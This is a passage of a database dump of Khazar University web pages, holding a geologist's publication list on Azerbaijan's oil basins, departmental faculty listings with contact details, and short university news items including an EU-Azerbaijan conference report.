Zeynalov G.A 2005 , Analysis of the results of geologic-geophysic investigations and evaluation of oil and gas content in Turkan field, onshore Azerbaijan, Reports of GSRI,pp.12-17 (in Russian)</p><p><strong>22.</strong>&nbsp;Zeynalov, G.A., 2004, Kura Intermountain Basin: Active Tectonics and Regularities of Distribution of Hydrocarbon Accumulations. Journal Oil and Gas Geology, No 6, Moscow, Russia, pp.34-38 (in Russian)</p><p><strong>23.</strong>&nbsp;Zeynalov, G.A., 2004, Active tectonics of the Kura Intermountain Basin and its relation with fluid flow. In the Book of “Geology of Caspian and Aral Seas Regions”, Almaty, Kazakhstan Geological Society “KazGEO”, pp. 212-217 (in Russian)</p><p><strong>24.</strong>&nbsp;Zeynalov, G.A., 2004, Fault Sealing and Hydrocarbon Occurrence in the Kura Valley, Azerbaijan, Abstracts of the 32nd International Geological Congress, Florence, Italy, (part 1), p.697</p><p><strong>25.</strong>&nbsp;Zeynalov, G.A., 2004, Kura Intermountain Basin: occurrence of oil and gas seeps and environment of hydrocarbon accumulations. Extended Abstracts of the Seventh International Conference devoted to 250th Anniversary of Moscow University, New Ideas in Geology and Geochemistry of oil and gas, Moscow ,GEOS, Russia, pp.191-192 (in Russian)</p><p><strong>26.</strong>&nbsp;Zeynalov, G.A., 2003, Interrelation between oil seeps, faults and hydrocarbon reserves in Azerbaijan. Extended Abstracts of the 5th EAGE and AGEO International Conference “Crimea-2003”, Problems of Geodynamics and Oil-gas Content of the Black Sea and Caspian Regions, Crimea, Symferopol, Ukraine, 8-13 September,2003, pp.192-195</p><p><strong>27.&nbsp;</strong>Zeynalov, G.A., 2002, Application remote sensing technology for monitoring of the mud volcano activity in coastal region of the South Caspian Basin. Proceedings of the Seventh International Conference on Remote Sensing for Marine and Coastal Environments, Miami, USA, Vol.I, pp.327-329&nbsp;</p><p><strong>28.</strong>&nbsp;Zeynalov, G.A., 2001, Analysis of Fluvial depositional environment in western coast of the South Caspian Basin using Landsat data. Proceedings of the Fifth International Airborne Remote Sensing Conference and Exhibition, San Francisco, USA, Vol.I pp. 383-386</p><p><strong>29.</strong>&nbsp;Zeynalov, G.A., 2000, Importance of Remote Sensing data in Structural Geologic Analysis of Oil- and Gas-Bearing Regions of Azerbaijan, 2000. “Natural Resources Research” journal, Kluwer Academic Publishers (USA), Vol. 9, No 4, pp.307-314.</p><p><strong>30.</strong>&nbsp;Zeynalov, G.A., 2000, Habitat of mud volcanoes and petroleum seepage in Azerbaijan. Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediterranean and Circum-Mediterranean Basins, St.Julians, Malta, 1-4 October 2000, p.131-135</p><p><strong>31.</strong>&nbsp;Zeynalov, G.A., 2000, Fault-block structure and fluid flow of the Kura basin, Azerbaijan. Extended Abstracts of EAGE Conference on Geology and Petroleum Geology of the Mediterranean and Circum-Mediterranean Basins, St.Julians, Malta, 1-4 October 2000, p.145-148</p><p><strong>32.</strong>&nbsp;Zeynalov, G.A., 2000, Influences of Faults to formation and oil accumulation zones in the Kura basin. Extended Abstracts of the 62nd EAGE Conference &amp; Technical Exhibition SECC, Glasgow, UK, 29 May-2 June 2000, Vol. I, p.171-176.</p><p><strong>33.&nbsp;</strong>Zeynalov, G.A., 2000, New data on the tectonics of the Western Coast of South Caspian Basin from analysis of SPOT and Landsat-TM images. Proceedings of the Sixth International Conference on Remote Sensing for Marine and Coastal Environments, Vol. II, 1-3 May 2000, Charleston, South Carolina, USA, p.458.</p><p><strong>34.&nbsp;</strong>Zeynalov, G.A., 2000, Geologic significance of Landsat data for oil exploration in Azerbaijan. Proceedings of the Fourteenth International Conference on Applied Geologic Remote Sensing, Las Vegas, Nevada, USA, 6-8 November, 2000.Ann Arbor, ERIM International , p.212-219</p><p><strong>35.</strong>&nbsp;Zeynalov, G.A., 2000, Fault tectonics and formations of oil and gas pools in the East Azerbaijan from analysis of SPOT/Landsat images. AAPG’s Inaugural Regional International Conference, July 9-12, 2000, Istanbul, Turkey, p.241-242</p><p><strong>36.&nbsp;</strong>Zeynalov, G.A., 1999, Some tectonic aspects of conditions of formation of oil and gas deposits in the western flank of the South Caspian basin (according to the remote sensing data). Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”, June 9-10, 1999, Baku, Azerbaijan, p.202-203</p><p><strong>37.&nbsp;</strong>Zeynalov, G.A., and A.A. Feyzullayev, 1999, Fault tectonics and its role in fluid dynamics in the South Caspian Basin (western flank) - Materials of The Third International Conference devoted to 275th anniversary of Russian Academy of Sciences. New ideas in geology and geochemistry of oil and gas. Oil &amp; gas-bearing basin as a self-developing non-linear systems. Moscow State University, Russia, p.101-103 (in Russian)</p><p><strong>38.</strong>&nbsp;Kuliyev K.G. and Zeynalov, G.A., 1999, Geodynamic conditions of formation of Meso-Cenozoic structures in the Kura Basin and its oil and gas potential.. Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”, June 9-10, 1999, Baku, Azerbaijan, p.226-228</p><p><strong>39.&nbsp;</strong>Zeynalov, G.A., 1999, The methodology for the use of Landsat-MSS imagery in oil exploration. Example of the East Azerbaijan region. The 2nd International Symposium on Petroleum Geology. Probability Approach to Petroleum Exploration, April 22-24, 1999, Zagreb, CROATIA, p.177-178</p><p><strong>40.&nbsp;</strong>Guliyev I.S., Feyzullayev, A.A., Kuliyev K.G., Tagiyev M.F., Zeynalov, G.A. and Gurbanova R.A., 1999, Miocene hydrocarbon potential of the South-eastern Gobustan and western Absheron, Proceeding of Geological Institute, Azerbaijan Academy of Sciences (in Russian)</p><p><strong>41.</strong>&nbsp;Zeynalov, G.A., 1999, Applying remote sensing investigations in oil exploration with connection of environmental protection. Abstracts of the Scientific –Practical Conference: Sumgayit: Ecology and Progress, December15-16, 1999, Sumgayit, Azerbaijan, pp.103-105</p><p><strong>42.</strong>&nbsp;Guliyev I.S., Zeynalov G.A., Tagiyev, M.F. and Guliyev, S.I., 1997, Elaboration and optimization methods of mapping of geologic-geophysical sections, maps and etc subsurface images on base of PC. Proceedings of Geological Institute of Azerbaijan Academy of Sciences (in Russian)</p><p><strong>43.&nbsp;</strong>Zeynalov, G.A., 1997, Studying mud volcanism of Azerbaijan by geological interpretation of remote sensing data. Abstracts of Africa/Middle East International Geophysical Conference &amp; Exposition, Cairo, Egypt, February 17-19, 1998, pp. 47-48</p><p><strong>44.</strong>&nbsp;Zeynalov, G.A., 1997, Lineament field of East Azerbaijan and some regularilities of formation of oil and gas deposits. Abstracts of The conference of Azerbaijan Society of Petroleum Geologists. “Generation, migration and accumulation of hydrocarbons”. Baku, Azerbaijan, 1997, pp.36 -37</p><p><strong>45.&nbsp;</strong>Zeynalov, G.A., 1997, The role of Faults on the formation of oil and gas deposits in the East Azerbaijan.- Abstracts of the International Conference-Seminar “Newest tectonics and its influence on the formation and distributions of oil and gas fields”, Baku, p.36-37(in Russian)</p><p><strong>46.&nbsp;</strong>Azerli, M.M. and Zeynalov, G.A., 1996, Paleotectonic reconstruction of regional structure of Kura Basin. Journal of Azerbaijan Oil Industry, Baku, No 11, pp. 4-8, (in Russian)</p><p><strong>47.</strong>&nbsp;Zeynalov, G.A., 1996, Integration of of geologic-geophysical and remote sensing data for evaluation geologic structure of the Kura Basin. Proceedings of the 1st International Symposium on Petroleum Geology. Economic Aspects of Petroleum Exploration.Zagreb, CROATIA, p.231-232</p><p><strong>48.&nbsp;</strong>Zeynalov, G.A., 1996, Mud volcanism and oil and gas content of the Lower Kura Basin. PhD thesis dissertation. Institute of Geology, Azerbaijan National Academy of Sciences, Baku, Azerbaijan, 25 p.</p><p><strong>49.</strong>&nbsp;A.A.Feizullayev, K.G.Kuliyev and Zeynalov, G.A., 1995, The oil and gas potential of the structures affected by mud volcanoes. Proceedings of the III International Conference of AAPG, Baku, 1995, pp.23-25&nbsp;</p><p><strong>50.</strong>&nbsp;M.M.Azerli, Zeynalov, G.A., 1995, Lineamental field of Lower Kura block and the specifics of mud volcanoes distribution. Proceedings of III International Conference of AAPG, Baku, 1995, pp.19-22</p><p><strong>51.</strong>&nbsp;Zeynalov, G.A., 1995, Peculiarities of mud volcanoes distribution in the Lower Kura depression. Proceedings of III International Conference of AAPG, Baku, 1995, pp.37-39</p><p><strong>52.&nbsp;</strong>Guliyev I.S., Feyzullayev, A.A., Kulyev K.G., Tagiyev M.F., Zeynalov, G.A. and Gurbanova R.A., 1995, Geochemistry of oil and mineralogy of solid products of Azerbaijan mud volcanoes. Proceedings of Geological Institute of Azerbaijan Academy of Sciences (in Russian)</p><p><strong>53.</strong>&nbsp;Zeynalov, G.A., 1995, Role structural-tectonic development factor in prognoses of oil and gas content of the Lower Kura basin. Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan, October 10-11, pp. 2-4 (in Russian)</p><p><strong>54.&nbsp;</strong>Zeynalov, G.A., 1995, About historical-geologic modelling of oil and gas generation in the Lower Kura Basin. Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan, October 10-11, pp. 4-5 (in Russian)</p><p><strong>55.</strong> E.B.Bagirov and Zeynalov, G.A., 1994, Classification of mud volcanoes of the Kura Basin. Journal of Azerbaijan Oil Industry”, Baku, 1994, No 6, p.45-54, (in Russian)</p><p><strong>56.&nbsp;</strong>Rahmanov R.R,, Zeynalov, G.A. and Azerli M.M., 1993, Preliminary results of studying mud volcanism of Azerbaijan by satellite images. Abstracts of the I Eurasian Symposium on Space Sciences and Technologies, Gebze-Kocaeli,Turkey, October 25-27, 1993, pp.127-129</p><p><strong>57.&nbsp;</strong>Zeynalov, G.A., 1993, Oil and gas prospects of Paleogene sediments in Lower Kura Basin, Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku, p.71-72 (in Russian)</p><p><strong>58.&nbsp;</strong>Mehdiyev Sh.F., Bunyadzadeh Z.A., Aliyev, G.M., Bashirov, Y.F., Zeynalov, G.A. and Efendiyev A. N., 1992, Oil and gas prospects of Productive series in Lower Kura Basin and Baku archipelago. Proceedings of Geological Institute of Azerbaijan Academy of Sciences (in Russian)</p><p><strong>59.</strong> Zeynalov, G.A., 1992, Mud volcano distributions and hydrocarbon seepages in Shamakhy-Gobustan and Lower Kura depressions., Abstracts of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku, p.44-45 (in Russian)</p><p><strong>60.&nbsp;</strong>Zeynalov, G.A. Facial-lithologic characterization of lower horizons of Productive Series (Lower Pliocene) sediments in Lower Kura Basin. Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku, pp.70-71(in Russian)</p><p><strong>61.&nbsp;</strong>N.R.Narimanov, A.K.Abasov and Zeynalov, G.A., 1991, On structural division of Cheleken-Livanov uplift zone (Turkmenistan). - Journal of Oil &amp; Gas, Baku, 1991, No 2, pp.11-16, (in Russian)</p><p><strong>62.</strong>&nbsp;Zeynalov, G.A., 1988, Paleotectonic development from Pliocene to Quarternary periods in Absheron archipelago, South Caspian Basin, Abstracts of Conference Soviet Union Young scientists and students, Dnepropetrovsk , Ukraine, p.123-124 (in Russian)</p><div><br></div>'),(435,277,'en','Faculty and Staff','Faculty and Staff','<h2><img src=\"/files/radio_depart/IMG_1170.JPG\" style=\"width:170px;height:170px;margin:7px;float:left\"></h2><p><strong><a href=\"http://www.khazar.org/files/radio_depart/Nuru%20Safarov%20eng%20CV.pdf\">Nuru&nbsp;Safarov</a><a href=\"http://www.khazar.org/files/radio_depart/CV_nuru_14_sent2017.PDF\"></a>&nbsp;-&nbsp;Associate Professor</strong></p>\r\n<p><strong>Head of Department of&nbsp;Electronics&nbsp;and  Telecommunications&nbsp;</strong></p><p>PhD&nbsp;in Physics (Azerbaijan National Academy of Sciences)</p><p>MS in&nbsp;Radio Physics &amp; Electronics (Dnipropetrovs’k State University, Ukraine)</p>  <p>E-mail:&nbsp;<a href=\"http://mailto: nsafarov@khazar.org\">nsafarov@khazar.org<br></a></p><p><br></p><p><br><a href=\"http://mailto: nsafarov@khazar.org\"></a></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><p><img src=\"/files/radio_depart/IMG-20180117-WA0003-new.jpg\" style=\"width:150px;height:166px;margin:7px;float:left\"></p><p><strong><a href=\"http://www.khazar.org/files/radio_depart/Farida%20Tatardar%20CV%20-%20eng.pdf\">Farida&nbsp;Tatardar</a><a href=\"http://www.khazar.org/files/pdf/Farida_Tatardar_CV%20.pdf\"></a></strong><strong>&nbsp;- </strong><strong>lecturer</strong></p><p>PhD in Physics (Azerbaijan National Academy of Sciences)&nbsp;</p><p>MS in&nbsp;Physics of Biological Systems (Baku State University, Azerbaijan)</p>  <p>E-mail:&nbsp;<a href=\"http://mailto: tatardar.farida@rambler.ru\">tatardar.farida@rambler.ru</a>&nbsp; &nbsp; &nbsp; &nbsp;</p><p><br></p><p><br></p><p><br></p>  <br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><div><strong><a href=\"http://www.khazar.org/files/pdf/Shahmerdan_Shahbaz_CV.pdf\"><img src=\"/files/radio_depart/IMG-20180123-WA0000.jpg\" style=\"width:150px;height:168px;margin:7px;float:left\"></a></strong></div><p><strong><a href=\"http://www.khazar.org/files/radio_depart/Shahmerdan2018CVeng.pdf\">Shahmerdan&nbsp;Amirov</a><a href=\"http://www.khazar.org/files/pdf/Shahmerdan_Shahbaz_CV.pdf\"></a>&nbsp;<strong><strong>-&nbsp;</strong><strong>lecturer</strong></strong>  </strong></p><p><strong></strong>PhD&nbsp;in Physics (Azerbaijan National Academy of Sciences)</p><p>MS in&nbsp;Theory of Solids (Baku State University, Azerbaijan)</p><p>E-mail: <a href=\"http://mailto:amirov1960@list.ru\">amirov1960@list.ru</a></p><p><br></p><p><br></p><p><br></p><p><a href=\"http://mailto:amirov1960@list.ru\"></a>&nbsp;<strong> &nbsp;</strong>&nbsp; &nbsp;&nbsp;</p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><br><img src=\"/files/radio_depart/IMG-20180117-WA0000-new.jpg\" style=\"width:150px;height:208px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/radio_depart/Sevda_Garibova%20CV.pdf\">Sevda Garibova</a><a href=\"http://www.khazar.org/files/pdf/Sevda_Qaribova CV.pdf\"></a>&nbsp;<strong>-&nbsp;</strong><strong>lecturer</strong>  </strong></p><p>PhD&nbsp;in Physics (Azerbaijan National Academy of Sciences)&nbsp;</p><p>MS in&nbsp;Applied Physics&nbsp;(Baku State University,&nbsp;Azerbaijan)  </p>  <p>E-mail: <a href=\"http://mailto: sqaribova@rambler.ru\">sqaribova@rambler.ru</a>&nbsp; &nbsp; &nbsp;</p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/radio_depart/Sabuhi_Ganiyev.jpg\" style=\"margin:7px;float:left;width:150px;height:197px\"><strong><a href=\"http://www.khazar.org/files/radio_depart/Sabuhi_Ganiyev%20(KhazarUniversity)%20CV%20(1).pdf\">Sabuhi Ganiyev</a>&nbsp;<strong>-&nbsp;</strong><strong>lecturer</strong>  </strong></p><p>MS in&nbsp;Electronics Engineering (International&nbsp;Islamic University Malaysia,&nbsp;Kuala Lumpur, Malaysia)</p><p>&nbsp;E-mail:&nbsp;<a href=\"http://mailto:s.ganiyev@gmail.com/\">s.ganiyev@gmail.com</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><strong><img src=\"http://www.khazar.org/files/engineering/images/fakhranda_a.jpg\" style=\"float:left;width:150px;height:142px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong><a href=\"http://www.khazar.org/files/letters/Fakhranda_A.N_CV.pdf\"><strong>Fakhranda Alimardanova</strong></a><strong>&nbsp;-&nbsp;<strong>Associate Professor</strong>  </strong></p><p>PhD&nbsp;in&nbsp;Physics&nbsp;(Azerbaijan National Academy of Sciences)&nbsp;  </p><p>MS in&nbsp;Physics (Baku State University,&nbsp;Azerbaijan)</p><p>E-mail:&nbsp;<a href=\"http://mailto:%20sqaribova@rambler.ru/\">f</a><a href=\"http://mailto:%20sqaribova@rambler.ru/\">alimardanova@khazar.org</a>  &nbsp;&nbsp;</p><p><br></p><p><br></p><br><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><br></p>'),(4888,2545,'en','Head of the Department of “Khazar” was awarded with honorary name certificate and a badge','Associate professor Zulfiyya Sadigova, Head of the Department of Music and Art of Khazar University, was one of those cultural figures...','<p>Associate professor Zulfiyya Sadigova, Head of the Department of Music and Art of Khazar University, was one of those cultural figures who was awarded honorary name on Order by Ilham Aliyev, President of the Republic of Azerbaijan, August 15, 2017. Abulfas Garayev, Minister of Culture and Tourism of the Republic of Azerbaijan presented the awards in the ceremony held in Museum Centre on October 17. Zulfiyya Sadigova was awarded “Honorary teacher” certificate and a badge.</p>'),(4794,2847,'en','An article by professor of “Khazar” published','An article “Выбор за вами, или почему умные люди принимают глупые решения” (“The choice is yours or why smart...','<p>An article “Выбор за вами, или почему умные люди принимают глупые решения” (“The choice is yours or why smart people make stupid decisions”) by professor Ingilab Ahmadov, Director of Eurasia Knowledge Center of Khazar University, was published in the website of “Эхо” newspaper on January 14, 2018.</p><p>The article deals with decisions made on economic issues in everyday life.</p><p>A link to the article:</p><p><a href=\"http://ru.echo.az/?p=66407\">http://ru.echo.az/?p=66407</a>.<br></p>'),(3692,2156,'en','Jean Monnet Conference on the EU-Azerbaijan Relations','On May 10, 2017, the Department of Political Science and International Relations held a conference on the EU-Azerbaijan relations in the framework of Europe Day...','<p class=\"xmsonormal\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On May 10, 2017, the Department of Political Science and International\r\nRelations held a conference on the EU-Azerbaijan relations in the framework of\r\nEurope Day celebrations in cooperation with the European Union Delegation in\r\nAzerbaijan.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:0in;background:white\"\"=\"\">Prof. Hamlet Isakhanli, the founder of Khazar University, the\r\nChairman of its Board of Directors and Truestees, welcomed the conference\r\nparticipants and highlighted the international cooperation projects of the\r\nuniversity.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:0in;background:white\"\"=\"\">Mr. Denis Daniilidis, theFirst Counselor of the EU Delegation to Azerbaijan, stressed\r\nthe positive trend in bilateral relations between the EU and Azerbaijan boosted\r\nby the visit of President Ilham Aliyev to Brussels in February 2017 and spoke\r\nabout the launch of negotiations for a New Comprehensive Agreement. He informed\r\nthe audience that the first draft text of negotiations originated from the\r\nAzerbaijani government which reflects the principles of differentiation and\r\nmutual respect between both sides. Mr. Daniilidis also welcomed the resumption\r\nof the inter-parliamentary cooperation between the European Parliament and\r\nMilli Mejlis of Azerbaijan.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:0in;background:white\"\"=\"\">Mr. Orkhan Zeynalov, Head of\r\nDivision for Cooperation with the EU at the Azerbaijani Ministry of Foreign\r\nAffairs, talked about the prospects of bilateral cooperation in areas such as\r\neducation and science. Mr. Zeynalov also underscored the progress on the\r\nSouthern Gas Corridor. In his capacity as the Key Negotiator for the part of\r\nthe agreement on sectorial cooperation, Mr. Zeynalov informed that the first\r\nround of negotiation that took place in Baku in late April, 2017 was very\r\nconstructive and reflected the political willingness of both sides to enhance\r\ncooperation in new areas.&nbsp;</p>\r\n<p class=\"xmsonormal\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:0in;background:white\"\"=\"\">Ms. Vusala Gurbanova, Senior\r\nAdviser of the Department of Science, Higher and Secondary Education at the\r\nMinistry of Education, highly appreciated the support of EU for the\r\ninternationalization of the higher education in Azerbaijan. She noted that Khazar\r\nUniversity is particularly active in international cooperation projects. Ms.\r\nGurbanova also informed the audience about the activities carried out to\r\nimprove the university study programs.&nbsp;</p>\r\n<p class=\"xmsonormal\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:0in;background:white\"\"=\"\">Dr. Mukhtar Hajizada, Jean Monnet\r\nChair and the Head of the Department of Political Science and International Relations informed the participants about\r\nthe EU-related courses and research at the department. He informed that the\r\ndepartment regularly hosts a series of events, including the one titled European\r\nSeminars, delivered by authoritative experts, practitioners, scholars and\r\nprofessors in EU matters to share their expertise with the Azerbaijani\r\naudience. Dr. Hajizada highlighted the necessity of promoting the understanding\r\nbetween the communities in the EU and Azerbaijan and welcomed the activities carried\r\nout to improve the existing sufficient conditions for it. He mentioned the\r\nimportance of the agreement between the European Union and the Republic of\r\nAzerbaijan on the facilitation of the issuance of visas which came into effect\r\nin 2014. He drew attention to the importance of EU`s increasing its influence\r\nand peaceful intentions in Azerbaijan. Unlike many countries in the neighborhood,\r\nthere is no EU Resource and Information Centre in Azerbaijan. Therefore Dr. Hajizada\r\nmentioned the need for more quantitative interactions and more qualitative\r\ncommunications.</p>\r\n<p class=\"xmsonormal\" style=\"\" margin-top:0in;margin-right:0in;margin-bottom:8.0pt;margin-left:0in;background:white\"\"=\"\">The conference\r\nfollowed by the Model European Union simulation on “Negotiation and Decision\r\nMaking in the European Council” by the students of departments of Political\r\nScience, International Relations and European Studies on energy cooperation and\r\nTAP project.</p>'),(413,255,'en','Faculty and Staff','Faculty and Staff','<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\"><img src=\"http://www.khazar.org/files/engineering/images/Mehemmed_Sherifov.png\" style=\"border:0px  #0000ee;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\" width=\"150\" height=\"182\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\">Mahammad Sharifov</a> - Associate Professor</strong></p><p><strong>Coordinator\r\nof Computer Sciences and Computer Engineering   department  </strong><br><strong></strong></p><p>PhD&nbsp;in Computer Engineering (Institute of Information Technology, Azerbaijan National Academy of Sciences)&nbsp;</p><p>MS&nbsp;in Control of Automatic Systems and Program Provision (Azerbaijan Technical University)</p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Website:</strong> <a href=\"http://www.mahammad.info\">www.mahammad.info</a>;&nbsp;<strong>E-mail:</strong>&nbsp;<a href=\"mailto:msharifov@khazar.org\">msharifov[at]khazar.org</a>&nbsp;</p><hr><p><strong><img src=\"/files/engineering/images/ahmad_babanli.jpg\" style=\"float:left;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/engineering/ahmad_babanli_CV.pdf\">Ahmad Babanli</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/ahmad_babanli_CV.pdf\"></a></strong>PhD in Computer Science&nbsp;(Moscow Power Engineering Institute, Russia)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ababanli@khazar.org\">ababanli[at]khazar.org</a><br></p><p><br></p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rashad_Khaligov.pdf\"><img src=\"http://www.khazar.org/files/engineering/images/Rashad_Khaligov.jpg\" style=\"border:0px #0000ee;float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Rashad Khaligov</a></strong></p><p>MS in Computer Science (Universite de Franche-Comte, France)&nbsp;</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:rkhaliqov@khazar.org\">rkhaliqov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Leyla_Muradkhanli.pdf\"><img src=\"http://www.khazar.org/files/engineering/images/Leyla_Muradkhanli.jpg\" style=\"border:0px #0000ee;width:150px;height:189px;float:left;margin-left:7px;margin-right:7px;margin-bottom:7px\">Leyla Muradkhanli</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Leyla_Muradkhanli.pdf\"></a></strong><strong></strong>PhD&nbsp;in Management Information Systems (Azerbaijan State Oil Academy)</p><p>MS&nbsp;in Control Systems (Azerbaijan State Oil Academy)</p><p>MS&nbsp;in Energy Management (BI Norwegian School of Management, Norway)</p><p><strong>E-mail:</strong> <a href=\"mailto:leyla@khazar.org\">leyla[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/cv/ali_pourmohammad_cv.pdf\"><img src=\"/files/engineering/images/ali_pourmohammad.jpg\" style=\"width:150px;height:147px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Ali Pourmohammad</a>&nbsp;<strong>- Visiting&nbsp;Professor</strong>  </strong><a href=\"http://www.khazar.org/files/engineering/cv/ali_pourmohammad_cv.pdf\"></a></p><p>PhD&nbsp;in Electrical &amp; Electronics Engineering (Applied Signal Processing)<br>(Amirkabir University of Technology (Tehran Polytechnic),&nbsp;Iran)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:pourmohammad@khazar.org\">pourmohammad[at]khazar.org</a><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/cv/behnam_kiani_kalejahi_cv.pdf\"><img src=\"/files/engineering/images/behnam_kiani_kalejahi.jpg\" style=\"width:150px;height:152px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Behnam Kiani Kalejahi</a></strong></p><p>MS in Computer Engineering (Tabriz Electrical and Computer Engineering (ECE) University, Iran)</p><p>PhD Student in Biomedical Engineering (Tabriz Electrical and Computer Engineering (ECE) University, Iran)</p>  <p><strong>E</strong><strong>-mail:&nbsp;</strong><a href=\"mailto:kiani-bme@Hotmail.com\">kiani-bme[at]hotmail.com</a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/Mezahim_Guliyev_CV.pdf\"><img src=\"/files/engineering/images/mazahim_g.jpg\" style=\"float:left;width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Mazahim Guliyev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Mezahim_Guliyev_CV.pdf\"></a></strong>PhD in Technical Sciences (Azerbaijan Technical University)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mazahim.guliyev@gmail.com\">mazahim.guliyev[at]gmail.com</a>  </p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/engineering/images/abdulsalam_s.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><a href=\"http://www.khazar.org/files/engineering/CV_Abdulsalam_Mustafa%20%2017%20.pdf\"><strong>Abdulsalam Salihu Mustafa</strong></a></p><p>PhD&nbsp;candidate&nbsp;in&nbsp;Computer Science&nbsp;(Khazar University,&nbsp;Azerbaijan)</p><p>MS in Computer Science&nbsp;(University of Hertfordshire, Hertfordshire, UK)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:abdulsalam.mustafa@khazar.org\">abdulsalam.mustafa[at]khazar.org</a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/Asim%20Namazov%20CV_7.pdf\"><img src=\"/files/engineering/images/asim-n.jpg\" style=\"width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/Asim%20Namazov%20CV_7.pdf\">Asim Namazov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Asim%20Namazov%20CV_7.pdf\"></a></strong>MS in&nbsp;Distribution of Networks, Information and Communication Systems (Azerbaijan Technical University)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:asimnamazov4@gmail.com\">asimnamazov4[at]gmail.com</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/petroleum_depart/Izat-Shahsenov.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/engineering/izat_sh_CV(new).pdf\">Izat Shahsenov</a></strong></p><p>PhD candidate in Petroleum Engineering (Khazar University, Azerbaijan)</p><p>MS in Applied Physics and Mathematics (Moscow Institute of Physics and Technology, Russia)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:izat.shahsenov@khazar.org\">izat.shahsenov[at]khazar.org</a>  </p><p><br></p><p><br></p>\r\n<hr><img src=\"/files/engineering/images/parvana_s.gif\" style=\"width:150px;height:220px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/letters/CV_Parvana_Salmanova_2018.pdf\">Parvana Salmanova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/education/P%C9%99rvan%C9%99_Salmanova.pdf\"></a></strong>MS in Computer Science&nbsp;(Baku State University, Azerbaijan)</p><p><strong>E-mail: </strong><a href=\"mailto:psalmanova@khazar.org\">psalmanova[at]khazar.org</a><br>  </p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr><p><strong><a href=\"http://www.khazar.org/files/engineering/cv/maryam_garayeva_cv.pdf\"><img src=\"/files/engineering/images/maryam_garayeva.jpg\" style=\"width:150px;height:196px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Maryam 